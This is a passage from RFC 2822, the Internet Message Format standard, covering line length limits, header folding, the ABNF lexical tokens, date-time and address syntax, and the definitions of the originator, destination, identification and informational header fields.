message is a series of characters. A + message that is conformant with this standard is comprised of + characters with values in the range 1 through 127 and interpreted as + US-ASCII characters [ASCII]. For brevity, this document sometimes + refers to this range of characters as simply "US-ASCII characters". + + + + + +Resnick Standards Track [Page 5] + +RFC 2822 Internet Message Format April 2001 + + + Note: This standard specifies that messages are made up of characters + in the US-ASCII range of 1 through 127. There are other documents, + specifically the MIME document series [RFC2045, RFC2046, RFC2047, + RFC2048, RFC2049], that extend this standard to allow for values + outside of that range. Discussion of those mechanisms is not within + the scope of this standard. + + Messages are divided into lines of characters. A line is a series of + characters that is delimited with the two characters carriage-return + and line-feed; that is, the carriage return (CR) character (ASCII + value 13) followed immediately by the line feed (LF) character (ASCII + value 10). (The carriage-return/line-feed pair is usually written in + this document as "CRLF".) + + A message consists of header fields (collectively called "the header + of the message") followed, optionally, by a body. The header is a + sequence of lines of characters with special syntax as defined in + this standard. The body is simply a sequence of characters that + follows the header and is separated from the header by an empty line + (i.e., a line with nothing preceding the CRLF). + +2.1.1. Line Length Limits + + There are two limits that this standard places on the number of + characters in a line. Each line of characters MUST be no more than + 998 characters, and SHOULD be no more than 78 characters, excluding + the CRLF. + + The 998 character limit is due to limitations in many implementations + which send, receive, or store Internet Message Format messages that + simply cannot handle more than 998 characters on a line. Receiving + implementations would do well to handle an arbitrarily large number + of characters in a line for robustness sake. However, there are so + many implementations which (in compliance with the transport + requirements of [RFC2821]) do not accept messages containing more + than 1000 character including the CR and LF per line, it is important + for implementations not to create such messages. + + The more conservative 78 character recommendation is to accommodate + the many implementations of user interfaces that display these + messages which may truncate, or disastrously wrap, the display of + more than 78 characters per line, in spite of the fact that such + implementations are non-conformant to the intent of this + specification (and that of [RFC2821] if they actually cause + information to be lost). Again, even though this limitation is put on + messages, it is encumbant upon implementations which display messages + + + + + +Resnick Standards Track [Page 6] + +RFC 2822 Internet Message Format April 2001 + + + to handle an arbitrarily large number of characters in a line + (certainly at least up to the 998 character limit) for the sake of + robustness. + +2.2. Header Fields + + Header fields are lines composed of a field name, followed by a colon + (":"), followed by a field body, and terminated by CRLF. A field + name MUST be composed of printable US-ASCII characters (i.e., + characters that have values between 33 and 126, inclusive), except + colon. A field body may be composed of any US-ASCII characters, + except for CR and LF. However, a field body may contain CRLF when + used in header "folding" and "unfolding" as described in section + 2.2.3. All field bodies MUST conform to the syntax described in + sections 3 and 4 of this standard. + +2.2.1. Unstructured Header Field Bodies + + Some field bodies in this standard are defined simply as + "unstructured" (which is specified below as any US-ASCII characters, + except for CR and LF) with no further restrictions. These are + referred to as unstructured field bodies. Semantically, unstructured + field bodies are simply to be treated as a single line of characters + with no further processing (except for header "folding" and + "unfolding" as described in section 2.2.3). + +2.2.2. Structured Header Field Bodies + + Some field bodies in this standard have specific syntactical + structure more restrictive than the unstructured field bodies + described above. These are referred to as "structured" field bodies. + Structured field bodies are sequences of specific lexical tokens as + described in sections 3 and 4 of this standard. Many of these tokens + are allowed (according to their syntax) to be introduced or end with + comments (as described in section 3.2.3) as well as the space (SP, + ASCII value 32) and horizontal tab (HTAB, ASCII value 9) characters + (together known as the white space characters, WSP), and those WSP + characters are subject to header "folding" and "unfolding" as + described in section 2.2.3. Semantic analysis of structured field + bodies is given along with their syntax. + +2.2.3. Long Header Fields + + Each header field is logically a single line of characters comprising + the field name, the colon, and the field body. For convenience + however, and to deal with the 998/78 character limitations per line, + the field body portion of a header field can be split into a multiple + line representation; this is called "folding". The general rule is + + + +Resnick Standards Track [Page 7] + +RFC 2822 Internet Message Format April 2001 + + + that wherever this standard allows for folding white space (not + simply WSP characters), a CRLF may be inserted before any WSP. For + example, the header field: + + Subject: This is a test + + can be represented as: + + Subject: This + is a test + + Note: Though structured field bodies are defined in such a way that + folding can take place between many of the lexical tokens (and even + within some of the lexical tokens), folding SHOULD be limited to + placing the CRLF at higher-level syntactic breaks. For instance, if + a field body is defined as comma-separated values, it is recommended + that folding occur after the comma separating the structured items in + preference to other places where the field could be folded, even if + it is allowed elsewhere. + + The process of moving from this folded multiple-line representation + of a header field to its single line representation is called + "unfolding". Unfolding is accomplished by simply removing any CRLF + that is immediately followed by WSP. Each header field should be + treated in its unfolded form for further syntactic and semantic + evaluation. + +2.3. Body + + The body of a message is simply lines of US-ASCII characters. The + only two limitations on the body are as follows: + + - CR and LF MUST only occur together as CRLF; they MUST NOT appear + independently in the body. + + - Lines of characters in the body MUST be limited to 998 characters, + and SHOULD be limited to 78 characters, excluding the CRLF. + + Note: As was stated earlier, there are other standards documents, + specifically the MIME documents [RFC2045, RFC2046, RFC2048, RFC2049] + that extend this standard to allow for different sorts of message + bodies. Again, these mechanisms are beyond the scope of this + document. + + + + + + + + +Resnick Standards Track [Page 8] + +RFC 2822 Internet Message Format April 2001 + + +3. Syntax + +3.1. Introduction + + The syntax as given in this section defines the legal syntax of + Internet messages. Messages that are conformant to this standard + MUST conform to the syntax in this section. If there are options in + this section where one option SHOULD be generated, that is indicated + either in the prose or in a comment next to the syntax. + + For the defined expressions, a short description of the syntax and + use is given, followed by the syntax in ABNF, followed by a semantic + analysis. Primitive tokens that are used but otherwise unspecified + come from [RFC2234]. + + In some of the definitions, there will be nonterminals whose names + start with "obs-". These "obs-" elements refer to tokens defined in + the obsolete syntax in section 4. In all cases, these productions + are to be ignored for the purposes of generating legal Internet + messages and MUST NOT be used as part of such a message. However, + when interpreting messages, these tokens MUST be honored as part of + the legal syntax. In this sense, section 3 defines a grammar for + generation of messages, with "obs-" elements that are to be ignored, + while section 4 adds grammar for interpretation of messages. + +3.2. Lexical Tokens + + The following rules are used to define an underlying lexical + analyzer, which feeds tokens to the higher-level parsers. This + section defines the tokens used in structured header field bodies. + + Note: Readers of this standard need to pay special attention to how + these lexical tokens are used in both the lower-level and + higher-level syntax later in the document. Particularly, the white + space tokens and the comment tokens defined in section 3.2.3 get used + in the lower-level tokens defined here, and those lower-level tokens + are in turn used as parts of the higher-level tokens defined later. + Therefore, the white space and comments may be allowed in the + higher-level tokens even though they may not explicitly appear in a + particular definition. + +3.2.1. Primitive Tokens + + The following are primitive tokens referred to elsewhere in this + standard, but not otherwise defined in [RFC2234]. Some of them will + not appear anywhere else in the syntax, but they are convenient to + refer to in other parts of this document. + + + + +Resnick Standards Track [Page 9] + +RFC 2822 Internet Message Format April 2001 + + + Note: The "specials" below are just such an example. Though the + specials token does not appear anywhere else in this standard, it is + useful for implementers who use tools that lexically analyze + messages. Each of the characters in specials can be used to indicate + a tokenization point in lexical analysis. + +NO-WS-CTL = %d1-8 / ; US-ASCII control characters + %d11 / ; that do not include the + %d12 / ; carriage return, line feed, + %d14-31 / ; and white space characters + %d127 + +text = %d1-9 / ; Characters excluding CR and LF + %d11 / + %d12 / + %d14-127 / + obs-text + +specials = "(" / ")" / ; Special characters used in + "<" / ">" / ; other parts of the syntax + "[" / "]" / + ":" / ";" / + "@" / "\" / + "," / "." / + DQUOTE + + No special semantics are attached to these tokens. They are simply + single characters. + +3.2.2. Quoted characters + + Some characters are reserved for special interpretation, such as + delimiting lexical tokens. To permit use of these characters as + uninterpreted data, a quoting mechanism is provided. + +quoted-pair = ("\" text) / obs-qp + + Where any quoted-pair appears, it is to be interpreted as the text + character alone. That is to say, the "\" character that appears as + part of a quoted-pair is semantically "invisible". + + Note: The "\" character may appear in a message where it is not part + of a quoted-pair. A "\" character that does not appear in a + quoted-pair is not semantically invisible. The only places in this + standard where quoted-pair currently appears are ccontent, qcontent, + dcontent, no-fold-quote, and no-fold-literal. + + + + + +Resnick Standards Track [Page 10] + +RFC 2822 Internet Message Format April 2001 + + +3.2.3. Folding white space and comments + + White space characters, including white space used in folding + (described in section 2.2.3), may appear between many elements in + header field bodies. Also, strings of characters that are treated as + comments may be included in structured field bodies as characters + enclosed in parentheses. The following defines the folding white + space (FWS) and comment constructs. + + Strings of characters enclosed in parentheses are considered comments + so long as they do not appear within a "quoted-string", as defined in + section 3.2.5. Comments may nest. + + There are several places in this standard where comments and FWS may + be freely inserted. To accommodate that syntax, an additional token + for "CFWS" is defined for places where comments and/or FWS can occur. + However, where CFWS occurs in this standard, it MUST NOT be inserted + in such a way that any line of a folded header field is made up + entirely of WSP characters and nothing else. + +FWS = ([*WSP CRLF] 1*WSP) / ; Folding white space + obs-FWS + +ctext = NO-WS-CTL / ; Non white space controls + + %d33-39 / ; The rest of the US-ASCII + %d42-91 / ; characters not including "(", + %d93-126 ; ")", or "\" + +ccontent = ctext / quoted-pair / comment + +comment = "(" *([FWS] ccontent) [FWS] ")" + +CFWS = *([FWS] comment) (([FWS] comment) / FWS) + + Throughout this standard, where FWS (the folding white space token) + appears, it indicates a place where header folding, as discussed in + section 2.2.3, may take place. Wherever header folding appears in a + message (that is, a header field body containing a CRLF followed by + any WSP), header unfolding (removal of the CRLF) is performed before + any further lexical analysis is performed on that header field + according to this standard. That is to say, any CRLF that appears in + FWS is semantically "invisible." + + A comment is normally used in a structured field body to provide some + human readable informational text. Since a comment is allowed to + contain FWS, folding is permitted within the comment. Also note that + since quoted-pair is allowed in a comment, the parentheses and + + + +Resnick Standards Track [Page 11] + +RFC 2822 Internet Message Format April 2001 + + + backslash characters may appear in a comment so long as they appear + as a quoted-pair. Semantically, the enclosing parentheses are not + part of the comment; the comment is what is contained between the two + parentheses. As stated earlier, the "\" in any quoted-pair and the + CRLF in any FWS that appears within the comment are semantically + "invisible" and therefore not part of the comment either. + + Runs of FWS, comment or CFWS that occur between lexical tokens in a + structured field header are semantically interpreted as a single + space character. + +3.2.4. Atom + + Several productions in structured header field bodies are simply + strings of certain basic characters. Such productions are called + atoms. + + Some of the structured header field bodies also allow the period + character (".", ASCII value 46) within runs of atext. An additional + "dot-atom" token is defined for those purposes. + +atext = ALPHA / DIGIT / ; Any character except controls, + "!" / "#" / ; SP, and specials. + "$" / "%" / ; Used for atoms + "&" / "'" / + "*" / "+" / + "-" / "/" / + "=" / "?" / + "^" / "_" / + "`" / "{" / + "|" / "}" / + "~" + +atom = [CFWS] 1*atext [CFWS] + +dot-atom = [CFWS] dot-atom-text [CFWS] + +dot-atom-text = 1*atext *("." 1*atext) + + Both atom and dot-atom are interpreted as a single unit, comprised of + the string of characters that make it up. Semantically, the optional + comments and FWS surrounding the rest of the characters are not part + of the atom; the atom is only the run of atext characters in an atom, + or the atext and "." characters in a dot-atom. + + + + + + + +Resnick Standards Track [Page 12] + +RFC 2822 Internet Message Format April 2001 + + +3.2.5. Quoted strings + + Strings of characters that include characters other than those + allowed in atoms may be represented in a quoted string format, where + the characters are surrounded by quote (DQUOTE, ASCII value 34) + characters. + +qtext = NO-WS-CTL / ; Non white space controls + + %d33 / ; The rest of the US-ASCII + %d35-91 / ; characters not including "\" + %d93-126 ; or the quote character + +qcontent = qtext / quoted-pair + +quoted-string = [CFWS] + DQUOTE *([FWS] qcontent) [FWS] DQUOTE + [CFWS] + + A quoted-string is treated as a unit. That is, quoted-string is + identical to atom, semantically. Since a quoted-string is allowed to + contain FWS, folding is permitted. Also note that since quoted-pair + is allowed in a quoted-string, the quote and backslash characters may + appear in a quoted-string so long as they appear as a quoted-pair. + + Semantically, neither the optional CFWS outside of the quote + characters nor the quote characters themselves are part of the + quoted-string; the quoted-string is what is contained between the two + quote characters. As stated earlier, the "\" in any quoted-pair and + the CRLF in any FWS/CFWS that appears within the quoted-string are + semantically "invisible" and therefore not part of the quoted-string + either. + +3.2.6. Miscellaneous tokens + + Three additional tokens are defined, word and phrase for combinations + of atoms and/or quoted-strings, and unstructured for use in + unstructured header fields and in some places within structured + header fields. + +word = atom / quoted-string + +phrase = 1*word / obs-phrase + + + + + + + + +Resnick Standards Track [Page 13] + +RFC 2822 Internet Message Format April 2001 + + +utext = NO-WS-CTL / ; Non white space controls + %d33-126 / ; The rest of US-ASCII + obs-utext + +unstructured = *([FWS] utext) [FWS] + +3.3. Date and Time Specification + + Date and time occur in several header fields. This section specifies + the syntax for a full date and time specification. Though folding + white space is permitted throughout the date-time specification, it + is RECOMMENDED that a single space be used in each place that FWS + appears (whether it is required or optional); some older + implementations may not interpret other occurrences of folding white + space correctly. + +date-time = [ day-of-week "," ] date FWS time [CFWS] + +day-of-week = ([FWS] day-name) / obs-day-of-week + +day-name = "Mon" / "Tue" / "Wed" / "Thu" / + "Fri" / "Sat" / "Sun" + +date = day month year + +year = 4*DIGIT / obs-year + +month = (FWS month-name FWS) / obs-month + +month-name = "Jan" / "Feb" / "Mar" / "Apr" / + "May" / "Jun" / "Jul" / "Aug" / + "Sep" / "Oct" / "Nov" / "Dec" + +day = ([FWS] 1*2DIGIT) / obs-day + +time = time-of-day FWS zone + +time-of-day = hour ":" minute [ ":" second ] + +hour = 2DIGIT / obs-hour + +minute = 2DIGIT / obs-minute + +second = 2DIGIT / obs-second + +zone = (( "+" / "-" ) 4DIGIT) / obs-zone + + + + + +Resnick Standards Track [Page 14] + +RFC 2822 Internet Message Format April 2001 + + + The day is the numeric day of the month. The year is any numeric + year 1900 or later. + + The time-of-day specifies the number of hours, minutes, and + optionally seconds since midnight of the date indicated. + + The date and time-of-day SHOULD express local time. + + The zone specifies the offset from Coordinated Universal Time (UTC, + formerly referred to as "Greenwich Mean Time") that the date and + time-of-day represent. The "+" or "-" indicates whether the + time-of-day is ahead of (i.e., east of) or behind (i.e., west of) + Universal Time. The first two digits indicate the number of hours + difference from Universal Time, and the last two digits indicate the + number of minutes difference from Universal Time. (Hence, +hhmm + means +(hh * 60 + mm) minutes, and -hhmm means -(hh * 60 + mm) + minutes). The form "+0000" SHOULD be used to indicate a time zone at + Universal Time. Though "-0000" also indicates Universal Time, it is + used to indicate that the time was generated on a system that may be + in a local time zone other than Universal Time and therefore + indicates that the date-time contains no information about the local + time zone. + + A date-time specification MUST be semantically valid. That is, the + day-of-the-week (if included) MUST be the day implied by the date, + the numeric day-of-month MUST be between 1 and the number of days + allowed for the specified month (in the specified year), the + time-of-day MUST be in the range 00:00:00 through 23:59:60 (the + number of seconds allowing for a leap second; see [STD12]), and the + zone MUST be within the range -9959 through +9959. + +3.4. Address Specification + + Addresses occur in several message header fields to indicate senders + and recipients of messages. An address may either be an individual + mailbox, or a group of mailboxes. + +address = mailbox / group + +mailbox = name-addr / addr-spec + +name-addr = [display-name] angle-addr + +angle-addr = [CFWS] "<" addr-spec ">" [CFWS] / obs-angle-addr + +group = display-name ":" [mailbox-list / CFWS] ";" + [CFWS] + + + + +Resnick Standards Track [Page 15] + +RFC 2822 Internet Message Format April 2001 + + +display-name = phrase + +mailbox-list = (mailbox *("," mailbox)) / obs-mbox-list + +address-list = (address *("," address)) / obs-addr-list + + A mailbox receives mail. It is a conceptual entity which does not + necessarily pertain to file storage. For example, some sites may + choose to print mail on a printer and deliver the output to the + addressee's desk. Normally, a mailbox is comprised of two parts: (1) + an optional display name that indicates the name of the recipient + (which could be a person or a system) that could be displayed to the + user of a mail application, and (2) an addr-spec address enclosed in + angle brackets ("<" and ">"). There is also an alternate simple form + of a mailbox where the addr-spec address appears alone, without the + recipient's name or the angle brackets. The Internet addr-spec + address is described in section 3.4.1. + + Note: Some legacy implementations used the simple form where the + addr-spec appears without the angle brackets, but included the name + of the recipient in parentheses as a comment following the addr-spec. + Since the meaning of the information in a comment is unspecified, + implementations SHOULD use the full name-addr form of the mailbox, + instead of the legacy form, to specify the display name associated + with a mailbox. Also, because some legacy implementations interpret + the comment, comments generally SHOULD NOT be used in address fields + to avoid confusing such implementations. + + When it is desirable to treat several mailboxes as a single unit + (i.e., in a distribution list), the group construct can be used. The + group construct allows the sender to indicate a named group of + recipients. This is done by giving a display name for the group, + followed by a colon, followed by a comma separated list of any number + of mailboxes (including zero and one), and ending with a semicolon. + Because the list of mailboxes can be empty, using the group construct + is also a simple way to communicate to recipients that the message + was sent to one or more named sets of recipients, without actually + providing the individual mailbox address for each of those + recipients. + +3.4.1. Addr-spec specification + + An addr-spec is a specific Internet identifier that contains a + locally interpreted string followed by the at-sign character ("@", + ASCII value 64) followed by an Internet domain. The locally + interpreted string is either a quoted-string or a dot-atom. If the + string can be represented as a dot-atom (that is, it contains no + characters other than atext characters or "." surrounded by atext + + + +Resnick Standards Track [Page 16] + +RFC 2822 Internet Message Format April 2001 + + + characters), then the dot-atom form SHOULD be used and the + quoted-string form SHOULD NOT be used. Comments and folding white + space SHOULD NOT be used around the "@" in the addr-spec. + +addr-spec = local-part "@" domain + +local-part = dot-atom / quoted-string / obs-local-part + +domain = dot-atom / domain-literal / obs-domain + +domain-literal = [CFWS] "[" *([FWS] dcontent) [FWS] "]" [CFWS] + +dcontent = dtext / quoted-pair + +dtext = NO-WS-CTL / ; Non white space controls + + %d33-90 / ; The rest of the US-ASCII + %d94-126 ; characters not including "[", + ; "]", or "\" + + The domain portion identifies the point to which the mail is + delivered. In the dot-atom form, this is interpreted as an Internet + domain name (either a host name or a mail exchanger name) as + described in [STD3, STD13, STD14]. In the domain-literal form, the + domain is interpreted as the literal Internet address of the + particular host. In both cases, how addressing is used and how + messages are transported to a particular host is covered in the mail + transport document [RFC2821]. These mechanisms are outside of the + scope of this document. + + The local-part portion is a domain dependent string. In addresses, + it is simply interpreted on the particular host as a name of a + particular mailbox. + +3.5 Overall message syntax + + A message consists of header fields, optionally followed by a message + body. Lines in a message MUST be a maximum of 998 characters + excluding the CRLF, but it is RECOMMENDED that lines be limited to 78 + characters excluding the CRLF. (See section 2.1.1 for explanation.) + In a message body, though all of the characters listed in the text + rule MAY be used, the use of US-ASCII control characters (values 1 + through 8, 11, 12, and 14 through 31) is discouraged since their + interpretation by receivers for display is not guaranteed. + + + + + + + +Resnick Standards Track [Page 17] + +RFC 2822 Internet Message Format April 2001 + + +message = (fields / obs-fields) + [CRLF body] + +body = *(*998text CRLF) *998text + + The header fields carry most of the semantic information and are + defined in section 3.6. The body is simply a series of lines of text + which are uninterpreted for the purposes of this standard. + +3.6. Field definitions + + The header fields of a message are defined here. All header fields + have the same general syntactic structure: A field name, followed by + a colon, followed by the field body. The specific syntax for each + header field is defined in the subsequent sections. + + Note: In the ABNF syntax for each field in subsequent sections, each + field name is followed by the required colon. However, for brevity + sometimes the colon is not referred to in the textual description of + the syntax. It is, nonetheless, required. + + It is important to note that the header fields are not guaranteed to + be in a particular order. They may appear in any order, and they + have been known to be reordered occasionally when transported over + the Internet. However, for the purposes of this standard, header + fields SHOULD NOT be reordered when a message is transported or + transformed. More importantly, the trace header fields and resent + header fields MUST NOT be reordered, and SHOULD be kept in blocks + prepended to the message. See sections 3.6.6 and 3.6.7 for more + information. + + The only required header fields are the origination date field and + the originator address field(s). All other header fields are + syntactically optional. More information is contained in the table + following this definition. + +fields = *(trace + *(resent-date / + resent-from / + resent-sender / + resent-to / + resent-cc / + resent-bcc / + resent-msg-id)) + *(orig-date / + from / + sender / + reply-to / + + + +Resnick Standards Track [Page 18] + +RFC 2822 Internet Message Format April 2001 + + + to / + cc / + bcc / + message-id / + in-reply-to / + references / + subject / + comments / + keywords / + optional-field) + + The following table indicates limits on the number of times each + field may occur in a message header as well as any special + limitations on the use of those fields. An asterisk next to a value + in the minimum or maximum column indicates that a special restriction + appears in the Notes column. + +Field Min number Max number Notes + +trace 0 unlimited Block prepended - see + 3.6.7 + +resent-date 0* unlimited* One per block, required + if other resent fields + present - see 3.6.6 + +resent-from 0 unlimited* One per block - see + 3.6.6 + +resent-sender 0* unlimited* One per block, MUST + occur with multi-address + resent-from - see 3.6.6 + +resent-to 0 unlimited* One per block - see + 3.6.6 + +resent-cc 0 unlimited* One per block - see + 3.6.6 + +resent-bcc 0 unlimited* One per block - see + 3.6.6 + +resent-msg-id 0 unlimited* One per block - see + 3.6.6 + +orig-date 1 1 + +from 1 1 See sender and 3.6.2 + + + +Resnick Standards Track [Page 19] + +RFC 2822 Internet Message Format April 2001 + + +sender 0* 1 MUST occur with multi- + address from - see 3.6.2 + +reply-to 0 1 + +to 0 1 + +cc 0 1 + +bcc 0 1 + +message-id 0* 1 SHOULD be present - see + 3.6.4 + +in-reply-to 0* 1 SHOULD occur in some + replies - see 3.6.4 + +references 0* 1 SHOULD occur in some + replies - see 3.6.4 + +subject 0 1 + +comments 0 unlimited + +keywords 0 unlimited + +optional-field 0 unlimited + + The exact interpretation of each field is described in subsequent + sections. + +3.6.1. The origination date field + + The origination date field consists of the field name "Date" followed + by a date-time specification. + +orig-date = "Date:" date-time CRLF + + The origination date specifies the date and time at which the creator + of the message indicated that the message was complete and ready to + enter the mail delivery system. For instance, this might be the time + that a user pushes the "send" or "submit" button in an application + program. In any case, it is specifically not intended to convey the + time that the message is actually transported, but rather the time at + which the human or other creator of the message has put the message + into its final form, ready for transport. (For example, a portable + computer user who is not connected to a network might queue a message + + + + +Resnick Standards Track [Page 20] + +RFC 2822 Internet Message Format April 2001 + + + for delivery. The origination date is intended to contain the date + and time that the user queued the message, not the time when the user + connected to the network to send the message.) + +3.6.2. Originator fields + + The originator fields of a message consist of the from field, the + sender field (when applicable), and optionally the reply-to field. + The from field consists of the field name "From" and a + comma-separated list of one or more mailbox specifications. If the + from field contains more than one mailbox specification in the + mailbox-list, then the sender field, containing the field name + "Sender" and a single mailbox specification, MUST appear in the + message. In either case, an optional reply-to field MAY also be + included, which contains the field name "Reply-To" and a + comma-separated list of one or more addresses. + +from = "From:" mailbox-list CRLF + +sender = "Sender:" mailbox CRLF + +reply-to = "Reply-To:" address-list CRLF + + The originator fields indicate the mailbox(es) of the source of the + message. The "From:" field specifies the author(s) of the message, + that is, the mailbox(es) of the person(s) or system(s) responsible + for the writing of the message. The "Sender:" field specifies the + mailbox of the agent responsible for the actual transmission of the + message. For example, if a secretary were to send a message for + another person, the mailbox of the secretary would appear in the + "Sender:" field and the mailbox of the actual author would appear in + the "From:" field. If the originator of the message can be indicated + by a single mailbox and the author and transmitter are identical, the + "Sender:" field SHOULD NOT be used. Otherwise, both fields SHOULD + appear. + + The originator fields also provide the information required when + replying to a message. When the "Reply-To:" field is present, it + indicates the mailbox(es) to which the author of the message suggests + that replies be sent. In the absence of the "Reply-To:" field, + replies SHOULD by default be sent to the mailbox(es) specified in the + "From:" field unless otherwise specified by the person composing the + reply. + + In all cases, the "From:" field SHOULD NOT contain any mailbox that + does not belong to the author(s) of the message. See also section + 3.6.3 for more information on forming the destination addresses for a + reply. + + + +Resnick Standards Track [Page 21] + +RFC 2822 Internet Message Format April 2001 + + +3.6.3. Destination address fields + + The destination fields of a message consist of three possible fields, + each of the same form: The field name, which is either "To", "Cc", or + "Bcc", followed by a comma-separated list of one or more addresses + (either mailbox or group syntax). + +to = "To:" address-list CRLF + +cc = "Cc:" address-list CRLF + +bcc = "Bcc:" (address-list / [CFWS]) CRLF + + The destination fields specify the recipients of the message. Each + destination field may have one or more addresses, and each of the + addresses indicate the intended recipients of the message. The only + difference between the three fields is how each is used. + + The "To:" field contains the address(es) of the primary recipient(s) + of the message. + + The "Cc:" field (where the "Cc" means "Carbon Copy" in the sense of + making a copy on a typewriter using carbon paper) contains the + addresses of others who are to receive the message, though the + content of the message may not be directed at them. + + The "Bcc:" field (where the "Bcc" means "Blind Carbon Copy") contains + addresses of recipients of the message whose addresses are not to be + revealed to other recipients of the message. There are three ways in + which the "Bcc:" field is used. In the first case, when a message + containing a "Bcc:" field is prepared to be sent, the "Bcc:" line is + removed even though all of the recipients (including those specified + in the "Bcc:" field) are sent a copy of the message. In the second + case, recipients specified in the "To:" and "Cc:" lines each are sent + a copy of the message with the "Bcc:" line removed as above, but the + recipients on the "Bcc:" line get a separate copy of the message + containing a "Bcc:" line. (When there are multiple recipient + addresses in the "Bcc:" field, some implementations actually send a + separate copy of the message to each recipient with a "Bcc:" + containing only the address of that particular recipient.) Finally, + since a "Bcc:" field may contain no addresses, a "Bcc:" field can be + sent without any addresses indicating to the recipients that blind + copies were sent to someone. Which method to use with "Bcc:" fields + is implementation dependent, but refer to the "Security + Considerations" section of this document for a discussion of each. + + + + + + +Resnick Standards Track [Page 22] + +RFC 2822 Internet Message Format April 2001 + + + When a message is a reply to another message, the mailboxes of the + authors of the original message (the mailboxes in the "From:" field) + or mailboxes specified in the "Reply-To:" field (if it exists) MAY + appear in the "To:" field of the reply since these would normally be + the primary recipients of the reply. If a reply is sent to a message + that has destination fields, it is often desirable to send a copy of + the reply to all of the recipients of the message, in addition to the + author. When such a reply is formed, addresses in the "To:" and + "Cc:" fields of the original message MAY appear in the "Cc:" field of + the reply, since these are normally secondary recipients of the + reply. If a "Bcc:" field is present in the original message, + addresses in that field MAY appear in the "Bcc:" field of the reply, + but SHOULD NOT appear in the "To:" or "Cc:" fields. + + Note: Some mail applications have automatic reply commands that + include the destination addresses of the original message in the + destination addresses of the reply. How those reply commands behave + is implementation dependent and is beyond the scope of this document. + In particular, whether or not to include the original destination + addresses when the original message had a "Reply-To:" field is not + addressed here. + +3.6.4. Identification fields + + Though optional, every message SHOULD have a "Message-ID:" field. + Furthermore, reply messages SHOULD have "In-Reply-To:" and + "References:" fields as appropriate, as described below. + + The "Message-ID:" field contains a single unique message identifier. + The "References:" and "In-Reply-To:" field each contain one or more + unique message identifiers, optionally separated by CFWS. + + The message identifier (msg-id) is similar in syntax to an angle-addr + construct without the internal CFWS. + +message-id = "Message-ID:" msg-id CRLF + +in-reply-to = "In-Reply-To:" 1*msg-id CRLF + +references = "References:" 1*msg-id CRLF + +msg-id = [CFWS] "<" id-left "@" id-right ">" [CFWS] + +id-left = dot-atom-text / no-fold-quote / obs-id-left + +id-right = dot-atom-text / no-fold-literal / obs-id-right + +no-fold-quote = DQUOTE *(qtext / quoted-pair) DQUOTE + + + +Resnick Standards Track [Page 23] + +RFC 2822 Internet Message Format April 2001 + + +no-fold-literal = "[" *(dtext / quoted-pair) "]" + + The "Message-ID:" field provides a unique message identifier that + refers to a particular version of a particular message. The + uniqueness of the message identifier is guaranteed by the host that + generates it (see below). This message identifier is intended to be + machine readable and not necessarily meaningful to humans. A message + identifier pertains to exactly one instantiation of a particular + message; subsequent revisions to the message each receive new message + identifiers. + + Note: There are many instances when messages are "changed", but those + changes do not constitute a new instantiation of that message, and + therefore the message would not get a new message identifier. For + example, when messages are introduced into the transport system, they + are often prepended with additional header fields such as trace + fields (described in section 3.6.7) and resent fields (described in + section 3.6.6). The addition of such header fields does not change + the identity of the message and therefore the original "Message-ID:" + field is retained. In all cases, it is the meaning that the sender + of the message wishes to convey (i.e., whether this is the same + message or a different message) that determines whether or not the + "Message-ID:" field changes, not any particular syntactic difference + that appears (or does not appear) in the message. + + The "In-Reply-To:" and "References:" fields are used when creating a + reply to a message. They hold the message identifier of the original + message and the message identifiers of other messages (for example, + in the case of a reply to a message which was itself a reply). The + "In-Reply-To:" field may be used to identify the message (or + messages) to which the new message is a reply, while the + "References:" field may be used to identify a "thread" of + conversation. + + When creating a reply to a message, the "In-Reply-To:" and + "References:" fields of the resultant message are constructed as + follows: + + The "In-Reply-To:" field will contain the contents of the "Message- + ID:" field of the message to which this one is a reply (the "parent + message"). If there is more than one parent message, then the "In- + Reply-To:" field will contain the contents of all of the parents' + "Message-ID:" fields. If there is no "Message-ID:" field in any of + the parent messages, then the new message will have no "In-Reply-To:" + field. + + + + + + +Resnick Standards Track [Page 24] + +RFC 2822 Internet Message Format April 2001 + + + The "References:" field will contain the contents of the parent's + "References:" field (if any) followed by the contents of the parent's + "Message-ID:" field (if any). If the parent message does not contain + a "References:" field but does have an "In-Reply-To:" field + containing a single message identifier, then the "References:" field + will contain the contents of the parent's "In-Reply-To:" field + followed by the contents of the parent's "Message-ID:" field (if + any). If the parent has none of the "References:", "In-Reply-To:", + or "Message-ID:" fields, then the new message will have no + "References:" field. + + Note: Some implementations parse the "References:" field to display + the "thread of the discussion". These implementations assume that + each new message is a reply to a single parent and hence that they + can walk backwards through the "References:" field to find the parent + of each message listed there. Therefore, trying to form a + "References:" field for a reply that has multiple parents is + discouraged and how to do so is not defined in this document. + + The message identifier (msg-id) itself MUST be a globally unique + identifier for a message. The generator of the message identifier + MUST guarantee that the msg-id is unique. There are several + algorithms that can be used to accomplish this. Since the msg-id has + a similar syntax to angle-addr (identical except that comments and + folding white space are not allowed), a good method is to put the + domain name (or a domain literal IP address) of the host on which the + message identifier was created on the right hand side of the "@", and + put a combination of the current absolute date and time along with + some other currently unique (perhaps sequential) identifier available + on the system (for example, a process id number) on the left hand + side. Using a date on the left hand side and a domain name or domain + literal on the right hand side makes it possible to guarantee + uniqueness since no two hosts use the same domain name or IP address + at the same time. Though other algorithms will work, it is + RECOMMENDED that the right hand side contain some domain identifier + (either of the host itself or otherwise) such that the generator of + the message identifier can guarantee the uniqueness of the left hand + side within the scope of that domain. + + Semantically, the angle bracket characters are not part of the + msg-id; the msg-id is what is contained between the two angle bracket + characters. + + + + + + + + + +Resnick Standards Track [Page 25] + +RFC 2822 Internet Message Format April 2001 + + +3.6.5. Informational fields + + The informational fields are all optional. The "Keywords:" field + contains a comma-separated list of one or more words or + quoted-strings. The "Subject:" and "Comments:" fields are + unstructured fields as defined in section 2.2.1, and therefore may + contain text or folding white space. + +subject = "Subject:" unstructured CRLF + +comments = "Comments:" unstructured CRLF + +keywords = "Keywords:" phrase *("," phrase) CRLF + + These three fields are intended to have only human-readable content + with information about the message. The "Subject:" field is the most + common and contains a short string identifying the topic of the + message. When used in a reply, the field body MAY start with the + string "Re: " (from the Latin "res", in the matter of) followed by + the contents of the "Subject:" field body of the original message. + If this is done, only one instance of the literal string "Re: " ought + to be used since use of other strings or more than one instance can + lead to undesirable consequences. The "Comments:" field contains any + additional comments on the text of the body of the message. The + "Keywords:" field contains a comma-separated list of important words + and phrases that might be useful for the recipient. + +3.6.6. Resent fields + + Resent fields SHOULD be added to any message that is reintroduced by + a user into the transport system. A separate set of resent fields + SHOULD be added each time this is done. All of the resent fields + corresponding to a particular resending of the message 